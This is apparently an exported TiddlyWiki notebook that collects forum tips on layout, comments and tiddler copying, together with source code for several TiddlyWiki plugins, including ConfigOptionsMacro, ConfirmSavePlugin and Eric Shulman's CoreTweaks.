<<tiddler [[$1::theCaption]]>>
<<slider "" [[$1::theFullImage]] "Show Full Image" "click for larger
image">>

Then, in another tiddler, add a table where each cell in the table
contains a <<tiddler>> macro, like this:

| <<tiddler ThumbThing with: Apollo13Display>> | <<tiddler ThumbThing
with: SaturnVDisplay>> | <<tiddler ThumbThing with: RolloutDisplay>> |

Take note of the $1 'substitution marker' used in [[ThumbThing]] and
the "with: TiddlerName" syntax used in the <<tiddler>> macro.  When
the <<tiddler>> macro is processed, the TiddlerName value from the
macro is used in place of the $1 markers when rendering the content
from ThumbThing.  There result is that each instance of the
<<tiddler>> macro transcludes the same layout, but displays a
different thumbnail, caption and link.  QED.
}}}
That should do it. 

Source: [[Question about combining thumbnail images, captions and sliders. - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/4d98a5c66124f247]]
Basic Rules for Using Commas and Semi-Colons

Source: [[edrules|http://www.cloudnet.com/%7Eedrbsass/edrules.htm]]
> What is the script to go into a ViewTemplate so that the Comments
> option is present in all tiddlers.
{{{
<div macro='comment {{tiddler.title}}'></div>

or, if you want to hide the comment form behind a slider until needed,
create a tiddler called [[AddComment]] containing:
--------------------------------
{{small{<<slider
        {{config.options.chkOpenedSlider=false;"chkOpenedSlider";}}
        AddComment##sliderSection
        "add a comment..."
        {{"add a comment to '"+tiddler.title+"'"}}
>>}}}/%

!sliderSection
<<comment {{tiddler.title}}>>
!end
%/
--------------------------------

Then, in ViewTemplate, write:
   <div macro='tiddler AddComment'></div>
}}}
enjoy,
-e


Source: [[CommentPlugin in ViewTemplate - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/aef51f800adf7665#]]
WIN2000

Source: [[Compatibility Mode List of Programs - Vista Forums|http://www.vistax64.com/tutorials/63998-compatibility-mode-list-programs.html?ltr=C]]
One thing I had been struggling with was to come up with a way to have conditional formatting on the tables. The idea is to change the colour based on the priority of the ToDo item, or whether the target date is in the past or not.

Here is the script I used for the tiddler:


[[Pensamiento Aleatorio: Coditional formating for tables in TiddlyWiki|http://pensamientoaleatorio.blogspot.com/2009/01/coditional-formating-for-tables-in.html]]
<<option pasUploadPassword>>
<<configOptions
chkAutoSave=false
txtUserName=MsgRay
chkSaveBackups=true
chkRegExpSearch=true
chkCaseSensitiveSearch=
chkAnimate=false
chkGenerateAnRssFeed=false
chkCaseSensitiveSearch=
chkHttpReadOnly=
chkSearchTitles=true
chkSearchText=true
chkSearchTags=true
chkSearchTitlesFirst=false
chkSearchList=true
chkHoldSearches=false
chkOpenInNewWindow=false
chkSaveEmptyTemplate=false
chkSinglePageMode=false
chkToggleLinks=false
txtMaxEditRows=30
txtBackupFolder=SideSnipsBackup
>>
/***
|''Name:''|ConfigOptionsMacro|
|''Version:''|0.1 (31 May 2007)|
|''Source''|http://jackparke.googlepages.com/jtw.html#ConfigOptionsMacro ([[del.icio.us|http://del.icio.us/post?url=http://jackparke.googlepages.com/jtw.html%23ConfigOptionsMacro]])|
|''Author:''|Jack|
!Description
This plugin allows you to store TiddlyWiki options in a tiddler. This means the options are part of the store and are not shared among TiddlyWiki files. The options are also more robust and persist when cookies are loaded.
!Usage
*After installation, enter the options you want persisted into the [[ConfigOptions]] tiddler
*In view mode of this tiddler you can see and modify the options
*Changes are effective and written immediately to the ConfigOptions tiddler as you modify them
*The options are loaded from ConfigOptions on startup of TiddlyWiki overriding any cookie settings
!Revision History
* Original by Jack 31 May 2007

!Code
***/
//{{{
version.extensions.configOptions = {major: 0, minor: 0, revision: 1, date: new Date('May 31, 2007')};

config.shadowTiddlers.ConfigOptions = '<<configOptions\nchkAutoSave=false\ntxtUserName=Your Name\n>>'

config.macros.configOptions = {};
config.macros.configOptions.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
 var resultText = this.parseOptions(paramString);
 if (resultText) {
  resultText = '|!Option|!Value|\n' + resultText;
  wikify(resultText, place)
  //createTiddlyButton(place,'Update','Saves your current options to the ConfigOptions tiddler.',this.update);
  applyHtmlMacros(place,tiddler)
 }
}

config.macros.configOptions.init = function() {
 var txtConfigOptions = store.getValue('ConfigOptions', 'text') || config.shadowTiddlers.ConfigOptions; 
 txtConfigOptions = txtConfigOptions.substr(txtConfigOptions.indexOf('\n')).substr(0, txtConfigOptions.length-2);
 this.parseOptions(txtConfigOptions);
}
config.macros.configOptions.parseOptions = function (paramString) {
 var resultText = ''
 var options = paramString.split(/\n/);
 for(var i=0; i < options.length; i++) {
  var opt = options[i].split('=');
  if(opt.length > 1) {
   if (opt[1] != 'true' && opt[1] != 'false' && !opt[1].match(/^\d+$/))
    opt[1] = '\'' + opt[1].replace(/'/, '\\\'') + '\'';
    resultText += '|' + opt[0].replace(/^[a-z]{2,3}/,'') + '|<<option ' + opt[0] + '>>|\n'
   try {
    eval('config.options.' + opt[0] + ' = ' + opt[1] + ';');
    //alert('config.options.' + opt[0] + ' = ' + opt[1] + ';')
   } catch (e) {
    debugger
   }
  }
 }
 return resultText;
}
config.macros.option.propagateOption = function(opt,valueField,value,elementType)
{
	config.options[opt] = value;
//	saveOptionCookie(opt);
	//if (opt=='txtUserName') debugger;
	if ((new RegExp('\n' + opt + '=','g')).test(store.getValue('ConfigOptions','text'))) {
	 config.macros.configOptions.updateOption(opt, decodeCookie(config.optionHandlers[opt.substr(0,3)].get(opt)))
	}
	
	var nodes = document.getElementsByTagName(elementType);
	for(var t=0; t<nodes.length; t++) {
		var optNode = nodes[t].getAttribute("option");
		if(opt == optNode)
			nodes[t][valueField] = value;
		}

}
config.macros.configOptions.updateOption = function(name, value) {
 var txtConfigOptions = store.getValue('ConfigOptions', 'text'); 
 var t1 = txtConfigOptions.indexOf('\n' + name + '=');
 var t2 = txtConfigOptions.indexOf('\n', t1+1);
 txtConfigOptions = txtConfigOptions.substr(0,t1) + '\n' + name + '=' + value + txtConfigOptions.substr(t2)
 store.setValue('ConfigOptions', 'text', txtConfigOptions)
}
//}}}
/***
|Name|ConfirmSavePlugin|
|Source|http://www.TiddlyTools.com/#ConfirmSavePlugin|
|Documentation|http://www.TiddlyTools.com/#ConfirmSavePlugin|
|Version|1.1.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides|window.saveChanges()|
|Options|##Configuration|
|Description|if tiddlers are being edited, or there are no unsaved changes, ask before saving|
When <<saveChanges>> command link is clicked, if there are tiddlers still being edited or there are no changes unsaved changes, then ask for confirmation before saving the document to the file.
!!!!!Configuration
<<<
:
<<option chkConfirmSaveIfEditing>> confirm saving if tiddlers are still being edited
<<option chkConfirmSaveIfNoChanges>> confirm saving if there are no unsaved tiddler changes
<<<
!!!!!Revisions
<<<
2008.03.15 [1.1.0] added option settings and check for 'no unsaved changes'
2008.03.15 [1.0.0] Initial Release.
<<<
!!!!!Code
***/
//{{{
version.extensions.ConfirmSave= {major: 1, minor: 1, revision: 0, date: new Date(2008,3,15)};
//}}}
//{{{
if (config.options.chkConfirmSaveIfEditing==undefined) config.options.chkConfirmSaveIfEditing=true;
if (config.options.chkConfirmSaveIfNoChanges==undefined) config.options.chkConfirmSaveIfNoChanges=true;
//}}}
//{{{
if (config.macros.saveChanges.confirmSave_onClick==undefined) 
	config.macros.saveChanges.confirmSave_onClick=config.macros.saveChanges.onClick
config.macros.saveChanges.onClick=function(e) {
	var msg="";
	var editing=[];	// check for tiddlers being edited
	if (config.options.chkConfirmSaveIfEditing)
		story.forEachTiddler(function(tid,elem) { if (elem.getAttribute("dirty")=="true") editing.push(tid);});
	if (editing.length) {
		msg+="There "+(editing.length>1?"are ":"is ")+editing.length;
		msg+=" tiddler"+(editing.length>1?"s":"")+" currently being edited:\n\n";
		msg+=editing.join(", ")+"\n\n";
		msg+="Changes to "+(editing.length>1?"these tiddlers":"this tiddler");
		msg+=" will not be saved until editing is completed.";
	} else if (config.options.chkConfirmSaveIfNoChanges && !store.isDirty())
		msg+="There are no unsaved tiddler changes";
	if (msg.length) {
		msg+="\n\nPress OK to save the document anyway.";
		if (!confirm(msg)) return false;
	}
	return config.macros.saveChanges.confirmSave_onClick.apply(this,arguments); // let core save
}
//}}}
Put this into your StyleSheet:

    /* custom styles for parallel columns. Classes cola and colb */
    .cola {width:45%; float:left; margin-left:0.5em;}
    .colb {width:45%; float:left; margin-left:1.5em;}
    .clear{clear:both;}

After that you can use the following syntax to generate two columns in a
tiddler:

    {{cola{Contact information:}}}{{colb{Additional notes ...}}}{{clear
    {}}}

Though this works better for me:

    {{cola{text of
    column a}}}{{colb{Text of
    column b}}}
    {{clear{
    }}}

This is courtesy of wolfgang, who hasn't been in evidence since before
the holidlays. 

Source: [[Content coded for two columns spills out of tiddler - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/206297da498ad113]]
{{textcenter{
~~<script>var today=new Date();document.write('<font style="color:#666">'+'URL='+window.location+'</font>')</script>~~
@@color:#666;^^<script>
        var tiddlers=store.getTiddlers("modified");
        var last=tiddlers[tiddlers.length-1];
        var when=last.modified.formatString("YYYY/0MM/0DD at 0hh:0mm:0ss");
        return "Last Modified:  " +when
</script>^^@@

Convert a list into a row of tags - howto?

Source: [[Convert a list into a row of tags - howto? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/519495221093d146]]
> Heh.  I tried that too, but it didn't save the setting because it
> can't save cookies yet :-( (Perhaps a little chicken-egg here?)

In [[CookieSaverPluginConfig]], find this line:
   // config.options.chkPortableCookies=false;
and change it to:
   config.options.chkPortableCookies=true;
(i.e., remove the leading "//" comment marker, and set the value to
*true*).  After you save-and-reload, CookieSaverPlugin should then
start writing settings to the [[CookieJar]].

-e 

Source: [[Google Chrome now works! - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/5c96efecb945b93d#]]
Hey!  That's a very good idea!

Currently CopyTiddlerPlugin just adds a prefix of "Copy of " to the
existing tiddler title.  Of course, this doesn't allow for multiple
copies to be created (at least not without also renaming each one
after it is copied).

I've just updated CopyTiddlerPlugin so that, instead of using "Copy of
" as a prefix to create the new tiddler title, it now uses " (n)" as a
suffix, where (n) is consecutively incremented until a non-existing
title is found and used.

Get the update (v3.1.0) here:
   http://www.TiddlyTools.com/#CopyTiddlerPlugin

Also, a change to consider: the " (n)" suffix might not be the best
choice, because it inserts a space character as well as parentheses
into the tiddler title, either of which guarantees that it will *not*
be a valid WikiWord.  Perhaps a better format for the suffix would be
"_n", so that the resultant tiddler title would still be a WikiWord
(assuming, of course, that the original tiddler's title was a WikiWord
to begin with).  Thus:

instead non-WikiWord titles:
   SomeTiddler (1)
   SomeTiddler (2)
   etc.
we would get WikiWord titles:
   SomeTiddler_1
   SomeTiddler_2
   etc.

Although I think that the latter format is better, I'd also like the
format to match the one used by NewMeanNewPlugin.  So, for now,
CopyTiddlerPlugin still uses "(n)" as the suffix.  Perhaps Simon would
consider changing NewMeansNewPlugin to use the "_n" suffix?

enjoy,
-e
Eric Shulman 

Source: [[Copy tiddler to Unique name - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/1234105dde054826]]
Story.prototype.scrollToSection = function(title,section) {
	if (!title||!section) return; var t=this.getTiddler(title); if (!t) return;
	var elems=t.getElementsByTagName('*');
	for (var i=0; i<elems.length; i++) { var e=elems[i];
		if (!['H1','H2','H3','H4','H5'].contains(e.nodeName)) continue;
		if (getPlainText(e).indexOf(section)!=-1) {
			var delay=config.options.chkAnimate?config.animDuration+1:0; // scroll *after* tiddler animation
			setTimeout('window.scrollTo(0,'+findPosY(e)+')',delay);
			return;
		}
	}
}
window.createTiddlyLink_sectionanchor=window.createTiddlyLink;
window.createTiddlyLink=function(place,title) {
	var t=story.findContainingTiddler(place); var tid=t?t.getAttribute('tiddler'):'';
	var parts=title.split(config.textPrimitives.sectionSeparator);
	if (!parts[0].length) parts[0]=tid;  // default to current tiddler for '##section' links
	if (parts[1]) arguments[1]=parts[0]; // trim section from tiddler title
	var btn=createTiddlyLink_sectionanchor.apply(this,arguments);
	if (parts[1]) btn.setAttribute('section',parts[1]); // save section
	return btn;
}
window.onClickTiddlerLink_sectionanchor=window.onClickTiddlerLink;
window.onClickTiddlerLink=function(ev) {
	var e=ev||window.event;	var target=resolveTarget(e); var title=null;
	while (target!=null && title==null) {
		title=target.getAttribute('tiddlyLink');
		section=target.getAttribute('section');
		target=target.parentNode;
	} 
	var t=story.findContainingTiddler(target); var tid=t?t.getAttribute('tiddler'):'';
	if (title!=tid||!section) onClickTiddlerLink_sectionanchor.apply(this,arguments); // avoid excess scrolling
	story.scrollToSection(title,section);
	return false;
}
Story.prototype.displayTiddler_sectionanchor=Story.prototype.displayTiddler;
Story.prototype.displayTiddler = function(srcElement,tiddler)
{
	var title=(tiddler instanceof Tiddler)?tiddler.title:tiddler;
	var parts=title.split(config.textPrimitives.sectionSeparator);
	if (parts[0].length && parts[1]) arguments[1]=parts[0]; // trim section from tiddler title
	this.displayTiddler_sectionanchor.apply(this,arguments);
	story.scrollToSection(parts[0],parts[1]);
}
config.formatterHelpers.isExternalLink_sectionanchor=config.formatterHelpers.isExternalLink;
config.formatterHelpers.isExternalLink=function(link) {
	if (link.indexOf(config.textPrimitives.sectionSeparator)!=-1) return false;
	return config.formatterHelpers.isExternalLink_sectionanchor.apply(this,arguments);
}
/***
|Name|CoreTweaks|
|Source|http://www.TiddlyTools.com/#CoreTweaks|
|Version|n/a|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2.4|
|Type|plugin|
|Requires||
|Overrides|various|
|Description|a small collection of overrides to TW core functions|
This tiddler contains some quick tweaks and modifications to TW core functions to provide minor changes in standard features or behavior.  It is hoped that some of these tweaks may be incorporated into later versions of the TW core, so that these adjustments will be available without needing these add-on definitions. ''Note: the changes contained in this tiddler are generally applicable for the current version of TiddlyWiki (<<version>>)./% Please view [[CoreTweaksArchive]] for tweaks and modifications that may be used with earlier versions of TiddlyWiki.%/''

To install //all// of these tweaks, import (or copy/paste) this tiddler into your document.  To include only //some// of the tweaks, you can edit the imported tiddler to remove the tweaks that you don't want.  Alternatively, you could copy/paste a few selected tweaks from this tiddler into a tiddler that you create in your own document.  Be certain to tag that tiddler with<<tag systemConfig>> (i.e., a plugin tiddler) and then save-and-reload for the tweaks to take effect.
***/
/***
!!! Ticketed Tweaks
***/
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/628 - OPEN
// // When invoking a macro that is not defined, this tweak prevents the display of the "error in macro... no such macro" message.  This is useful when rendering tiddler content or templates that reference macros that are defined by //optional// plugins that have not been installed in the current document.
// //
// // <<option chkHideMissingMacros>> hide "no such macro" error messages
//{{{
if (config.options.chkHideMissingMacros===undefined)
	config.options.chkHideMissingMacros=false;

window.coreTweaks_missingMacro_invokeMacro = window.invokeMacro;
window.invokeMacro = function(place,macro,params,wikifier,tiddler) {
	if (!config.macros[macro] || !config.macros[macro].handler)
		if (config.options.chkHideMissingMacros) return;
	window.coreTweaks_missingMacro_invokeMacro.apply(this,arguments);
}
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/623 - OPEN
/***
This tweak allows date format strings to contain backslash-quoted characters that bypass date format replacement.  This allows sequences such as "s\s", "m\m" or "a\m" to be used so that "ss", "mm" or "am" can appears as literal text within journal titles or other date-formatted values.

For example:
>{{{<<today "withhold less hummingbirds - YYYY.0MM.0DD 0hh:0mm:0ss">>}}}
>results in: <<today "withhold less hummingbirds - YYYY.0MM.0DD 0hh:0mm:0ss">>
while:
>{{{<<today "with\hold les\s hum\mingbirds - YYYY.0MM.0DD 0hh:0mm:0ss">>}}}
>results in: <<today "with\hold les\s hum\mingbirds - YYYY.0MM.0DD 0hh:0mm:0ss">>
***/
//{{{
Date.prototype.coreTweaks_formatString = Date.prototype.formatString;
Date.prototype.formatString = function(template) {
	var t = Date.prototype.coreTweaks_formatString.apply(this,arguments);
	t = t.replace(/\\/g,""); // strip backslashes used to quote formats
	return t;
};
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/609 - OPEN (separators)
// // http://trac.tiddlywiki.org/ticket/610 - OPEN (wikify tiddler/slice/section content)
// // These tweaks extend the {{{<<toolbar>>}}} macro to permit use of "|" as separators, as well as recognizing references to tiddlernames, slices, or sections and rendering their content inline within the toolbar
// // ''see [[ToolbarCommands]] for examples of how these features can be used''
//{{{
merge(config.macros.toolbar,{
	separator: "|"
	});
config.macros.toolbar.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
	for(var t=0; t<params.length; t++) {
		var c = params[t];
		switch(c) {
			case '|':  // ELS - SEPARATOR
			case '!':  // ELS - SEPARATOR (alternative for use in tiddler slices)
				createTiddlyText(place,this.separator); // ELS
				break; // ELS
			case '>':
				var btn = createTiddlyButton(place,this.moreLabel,this.morePrompt,config.macros.toolbar.onClickMore);
				addClass(btn,"moreCommand");
				var e = createTiddlyElement(place,"span",null,"moreCommand");
				e.style.display = "none";
				place = e;
				break;
			default:
				var theClass = "";
				switch(c.substr(0,1)) {
					case "+":
						theClass = "defaultCommand";
						c = c.substr(1);
						break;
					case "-":
						theClass = "cancelCommand";
						c = c.substr(1);
						break;
				}
				if(c in config.commands)
					this.createCommand(place,c,tiddler,theClass);
				else { // ELS - WIKIFY TIDDLER/SLICE/SECTION
					if (c.substr(0,1)=="~") c=c.substr(1); // ignore leading ~
					var txt=store.getTiddlerText(c);
					if (txt) {
						txt=txt.replace(/^\n*/,"").replace(/\n*$/,""); // trim any leading/trailing newlines
						txt=txt.replace(/^{{{\n/,"").replace(/\n}}}$/,""); // trim PRE format wrapper if any
						wikify(txt,createTiddlyElement(place,"span"),null,tiddler);
					}
				} // ELS - end WIKIFY CONTENT
				break;
		}
	}
};
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/608 - OPEN
// // This tweak extends the {{{<<toolbar>>}}} macro to make the ">" (more) a //toggle// between more/less with the additional toolbar commands displayed on a separate line.
//{{{
merge(config.macros.toolbar,{
	moreLabel: 'more',
	morePrompt: "Show additional commands",
	lessLabel: 'less',
	lessPrompt: "Hide additional commands"
});
config.macros.toolbar.onClickMore = function(ev)
{
	var e = this.nextSibling;
	var showing=e.style.display=="block";
	e.style.display = showing?"none":"block";
	this.innerHTML=showing?config.macros.toolbar.moreLabel:config.macros.toolbar.lessLabel;
	this.title=showing?config.macros.toolbar.morePrompt:config.macros.toolbar.lessPrompt;
	return false;
};
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/607 - OPEN
// // This tweak automatically sets the HREF for the 'permaview' sidebar command link so you can use the 'right click' context menu for faster, easier bookmarking.  Note that this does ''not'' automatically set the permaview in the browser's current location URL... it just sets the HREF on the command link.  You still have to click the link to apply the permaview.
//{{{
config.macros.permaview.handler = function(place)
{
	var btn=createTiddlyButton(place,this.label,this.prompt,this.onClick);
	addEvent(btn,"mouseover",this.setHREF);
	addEvent(btn,"focus",this.setHREF);
};
config.macros.permaview.setHREF = function(event){
	var links = [];
	story.forEachTiddler(function(title,element) {
		links.push(String.encodeTiddlyLink(title));
	});
	var newURL=document.location.href;
	var hashPos=newURL.indexOf("#");
	if (hashPos!=-1) newURL=newURL.substr(0,hashPos);
	this.href=newURL+"#"+encodeURIComponent(links.join(" "));
}
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/529 - OPEN
// // This tweak hijacks the standard browser function, document.getElementById(), to work-around the case-INsensitivity error in Internet Explorer (all versions up to and including IE7) //''Note: This tweak is only applied when using IE, and only for lookups of rendered tiddler elements within the containing "tiddlerDisplay" element.''//
//{{{
if (config.browser.isIE) {
document.coreTweaks_coreGetElementById=document.getElementById;
document.getElementById=function(id) {
	var e=document.coreTweaks_coreGetElementById(id);
	if (!e || !e.parentNode || e.parentNode.id!="tiddlerDisplay") return e;
	for (var i=0; i<e.parentNode.childNodes.length; i++)
		if (id==e.parentNode.childNodes[i].id) return e.parentNode.childNodes[i];
	return null;
};
}
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/471 - OPEN
// // This tweak HIJACKS the core's saveTiddler() function to automatically add a "creator" field to a tiddler when it is FIRST created. You can use {{{<<view creator>>}}} (or {{{<<view creator wikified>>}}} if you prefer) to show this value embedded directly within the tiddler content, or {{{<span macro="view creator"></span>}}} in the ViewTemplate and/or EditTemplate to display the creator value in each tiddler.  
//{{{
// hijack saveTiddler()
TiddlyWiki.prototype.CoreTweaks_creatorSaveTiddler=TiddlyWiki.prototype.saveTiddler;
TiddlyWiki.prototype.saveTiddler=function(title,newTitle,newBody,modifier,modified,tags,fields)
{
	var existing=store.tiddlerExists(title);
	var tiddler=this.CoreTweaks_creatorSaveTiddler.apply(this,arguments);
	if (!existing) store.setValue(title,"creator",config.options.txtUserName);
	return tiddler;
}
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/458 - CURRENTLY CLOSED AS: WON'T FIX
// // This tweak assigns a "permalink"-like HREF to internal Tiddler links (which normally do not have any HREF defined).  This permits the link's context menu (right-click) to include 'open link in another window/tab' command.  Based on a request from Dustin Spicuzza.
//{{{
window.coreTweaks_createTiddlyLink=window.createTiddlyLink;
window.createTiddlyLink=function(place,title,includeText,theClass,isStatic,linkedFromTiddler,noToggle)
{
	// create the core button, then add the HREF (to internal links only)
	var link=window.coreTweaks_createTiddlyLink.apply(this,arguments);
	if (!isStatic)
		link.href=document.location.href.split("#")[0]+"#"+encodeURIComponent(String.encodeTiddlyLink(title));
	return link;
}
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/444 - OPEN
// // When invoking a macro, this tweak makes the current containing tiddler object and DOM rendering location available as global variables (window.tiddler and window.place, respectively).  These globals can then be used within "computed macro parameters" to retrieve tiddler-relative and/or DOM-relative values or perform tiddler-specific side-effect functionality.
//{{{
window.coreTweaks_invokeMacro = window.invokeMacro;
window.invokeMacro = function(place,macro,params,wikifier,tiddler) {
	var here=story.findContainingTiddler(place);
	window.tiddler=here?store.getTiddler(here.getAttribute("tiddler")):null;
	window.place=place;
	window.coreTweaks_invokeMacro.apply(this,arguments);
}
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/401 - OPEN
// // This tweak allows definition of an optional [[PageTitle]] tiddler that, when present, provides alternative text for display in the browser window's titlebar, instead of using the combined text content from [[SiteTitle]] and [[SiteSubtitle]] (which will still be displayed as usual in the TiddlyWiki document header area)
//{{{
window.coreTweaks_getPageTitle=window.getPageTitle;
window.getPageTitle=function() { 
	var txt=wikifyPlain("PageTitle"); if (txt.length) return txt;
	return window.coreTweaks_getPageTitle.apply(this,arguments);
}
store.addNotification("PageTitle",refreshPageTitle); // so title stays in sync with tiddler changes
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/67 - OPEN
// // The "missing links" list includes items contained within "quoted" text (i.e., content that will not render as wiki-syntax, and so CANNOT create any tiddler links, even if the quoted text matches valid link syntax).  This tweak removes content contained between certain delimiters before scanning tiddler source for possible links.
/***
Delimiters include:
{{{
/%...%/
{{{...}}}
"""..."""
<nowiki>...</nowiki>
<html>...</html>
<script>...</script>
}}}
***/
//{{{
Tiddler.prototype.coreTweaks_changed = Tiddler.prototype.changed;
Tiddler.prototype.changed = function()
{
	var savedtext=this.text;
	// remove 'quoted' text before scanning tiddler source
	this.text=this.text.replace(/\/%((?:.|\n)*?)%\//g,""); // /%...%/
	this.text=this.text.replace(/\{{3}((?:.|\n)*?)\}{3}/g,""); // {{{...}}}
	this.text=this.text.replace(/"{3}((?:.|\n)*?)"{3}/g,""); // """..."""
	this.text=this.text.replace(/\<nowiki\>((?:.|\n)*?)\<\/nowiki\>/g,""); // <nowiki>...</nowiki>
	this.text=this.text.replace(/\<html\>((?:.|\n)*?)\<\/html\>/g,""); // <html>...</html>
	this.text=this.text.replace(/\<script((?:.|\n)*?)\<\/script\>/g,""); // <script>...</script>
	this.coreTweaks_changed.apply(this,arguments);
	// restore quoted text to tiddler source
	this.text=savedtext;
};
//}}}
// // }}}
/***
!!! Fixed in TW240
***/
// // {{groupbox small{
// // calculate version number for conditional inclusion of tweaks below...
//{{{
var ver=version.major+version.minor/10;
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/578 - FIXED IN TW240
// // This tweak trims any leading whitespace/newline and the trailing newline from tiddler sections
//{{{
if (ver<2.4) {
TiddlyWiki.prototype.coreTweaks_getTiddlerText = TiddlyWiki.prototype.getTiddlerText;
TiddlyWiki.prototype.getTiddlerText = function(title,defaultText)
{
	var r=TiddlyWiki.prototype.coreTweaks_getTiddlerText.apply(this,arguments);
	if (r&&title.indexOf(config.textPrimitives.sectionSeparator)!=-1)
		r=r.replace(/^[ \t]*\n/,"").replace(/\n$/,""); // trim any leading/trailing newlines
	return r;
};
}
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/541 - FIXED IN TW240
// // This tweak adds a conditional check to the core's 'open' paramifier, so that when the document is viewed in readOnly mode, non-existent tiddlers specified using a permalink/permaview (i.e. "#TiddlerName" in the document URL) will not be displayed as an empty tiddler (which shows the "double-click to create" default text).
//{{{
if (ver<2.4) {
config.paramifiers.open = { 
onstart: function(v) { 
		if(!readOnly || store.tiddlerExists(v) || store.isShadowTiddler(v)) 
			story.displayTiddler("bottom",v,null,false,null); 
	} 
}; 
}
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/470 - FIXED IN TW240
// // This tweak lets you set an alternative initial focus field when editing a tiddler (default field is "text")
// // Enter initial focus field name: <<option txtEditorFocus>> (//usage:// {{{<<option txtEditorFocus>>}}})
//{{{
if (ver<2.4) {
config.commands.editTiddler.coreTweaks_handler = config.commands.editTiddler.handler;
config.commands.editTiddler.handler = function(event,src,title)
{
	if (config.options.txtEditorFocus==undefined) config.options.txtEditorFocus="text";
	this.coreTweaks_handler.apply(this,arguments);
	story.focusTiddler(title,config.options.txtEditorFocus);
	return false;
};
}
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/468 - FIXED IN TW240
// // This tweak extends the core's {{{<<tag>>}}} macro to accept additional parameters for specifying alternative label and tooltip text for the tag popup "button" link (i.e., "`PrettyTags").  Based on a suggestion by ~PBee.
//{{{
// hijack tag handler()
if (ver<2.4) {
config.macros.tag.CoreTweaks_handler=config.macros.tag.handler;
config.macros.tag.handler = function(place,macroName,params)
{
	this.CoreTweaks_handler.apply(this,arguments);
	var btn=place.lastChild;
	if (params[1]) btn.innerHTML=params[1];
	if (params[2]) btn.title=params[2];
}
}
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/320 - FIXED IN TW240
// // This tweak updates the core's forceReflow() function to fix a Firefox rendering problem, whereby the contents of the a tiddler editor text area can be incorrectly displayed (overlapping other content) when more than one tiddler is in edit mode.
//{{{
if (ver<2.4) {
function forceReflow()
{
	if(config.browser.isGecko) {
		setStylesheet("body {top:-0px;margin-top:0px;}");
		setTimeout('setStylesheet("")',1); // invoke async to bypass browser optimization
	}
}
}
//}}}
// // }}}
// // {{groupbox small{
// // http://trac.tiddlywiki.org/ticket/42 - FIXED IN TW240
// // This tweak adjusts the left position of a TW popup so that it won't overlap with the browser window's vertical scrollbar, when present.
//{{{
if (ver<2.4) {
Popup.place = function(root,popup,offset)
{
	if(!offset) var offset = {x:0, y:0};
	var rootLeft = findPosX(root);
	var rootTop = findPosY(root);
	var rootHeight = root.offsetHeight;
	var popupLeft = rootLeft + offset.x;
	var popupTop = rootTop + rootHeight + offset.y;
	var winWidth = findWindowWidth();
	if(popup.offsetWidth > winWidth*0.75)
		popup.style.width = winWidth*0.75 + "px";
	var popupWidth = popup.offsetWidth;
	// ELS: leave space for vertical scrollbar
	var scrollWidth=winWidth-document.body.offsetWidth;
	if(popupLeft+popupWidth > winWidth-scrollWidth-1)
		popupLeft = winWidth-popupWidth-scrollWidth-1;
	popup.style.left = popupLeft + "px";
	popup.style.top = popupTop + "px";
	popup.style.display = "block";
};
}
//}}}
// // }}}
/***
!!!Unticketed Tweaks
***/
// // {{groupbox small{
// // This tweak adds an optional 'sortby' parameter to the {{{<<tag tagname label tip sortby>>}}} macro, as well as the {{{<<allTags excludeTag sortby>>}}} macro (used to generate the sidebar contents 'tags' list.  This parameter lets you specify the field on which the contents of each tag popup is to be sorted, with a "+" or "-" prefix to indicate ascending/descending order, respectively.

// // Example: {{{<<tag systemConfig "plugins" "list plugins by date, most recent first" "-modified">>}}}
// // Try it: <<tag systemConfig "plugins" "list plugins by date, most recent first" "-modified">>

// // Similarly, to change the sort order used by the popups from all tags shown in the sidebar contents, edit the [[TagTags]] shadow tiddler and enter: {{{<<allTags excludeLists -modified>>}}}

// // note: the hijack for the {{{<<tag>>}}} macro handler also includes the tweak for ticket #468 to support 'label' and 'tip' params (already fixed in TW240)
//{{{
// hijack tag handler() to add 'sortby' attribute to tag button
config.macros.tag.CoreTweaksSortTags_handler=config.macros.tag.handler;
config.macros.tag.handler = function(place,macroName,params)
{
	this.CoreTweaksSortTags_handler.apply(this,arguments);
	var btn=place.lastChild;
	if (params[1]) btn.innerHTML=params[1]; // ticket #468
	if (params[2]) btn.title=params[2]; // ticket #468
